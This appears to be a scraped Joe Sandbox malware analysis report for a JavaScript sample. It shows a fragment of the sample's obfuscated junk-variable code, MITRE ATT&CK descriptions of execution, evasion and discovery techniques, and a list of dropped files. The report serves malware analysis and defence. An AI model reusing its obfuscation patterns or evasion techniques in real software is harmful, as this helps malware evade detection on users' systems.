1708	xlavfjwlj = "q";
1709	xlavfjwlj = "s";
1710	xlavfjwlj = "b";
1711	xlavfjwlj = "D";
1712	xlavfjwlj = "c";
1713	xlavfjwlj = "x";
1714	xlavfjwlj = "S";
1715	xlavfjwlj = "S";
1716	xlavfjwlj = "H";
1717	xlavfjwlj = "m";
1718	xlavfjwlj = "T";
1719	xlavfjwlj = "N";
1720	xlavfjwlj = "a";
1721	xlavfjwlj = "J";
1722	xlavfjwlj = "p";
1723	xlavfjwlj = "J";
1724	xlavfjwlj = "Q";
1725	hqrra ( );	hqrra() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 647915480318827205.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f9725197-4192-4be4-8b8e-39f27700fb4b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7064

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7064

Windows Analysis Report
647915480318827205.js